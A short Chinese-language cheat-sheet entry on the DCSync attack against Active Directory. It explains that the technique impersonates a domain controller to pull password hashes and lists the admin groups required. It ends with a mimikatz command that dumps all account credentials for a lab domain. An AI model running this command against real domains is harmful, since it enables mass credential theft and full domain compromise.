DCSync 攻击

什么是 DCSync

DCSync 模仿一个域控制器，从真实的域控制器中请求获取数据，例如账号的口令散列值等数据。

DCSync 攻击前提

• Administrators 组内的用户
• Domain Admins 组内的用户
• Enterprise Admins 组内的用户

DCSync 攻击

mimikatz "lsadump::dcsync /domain:deelmind.lab /all"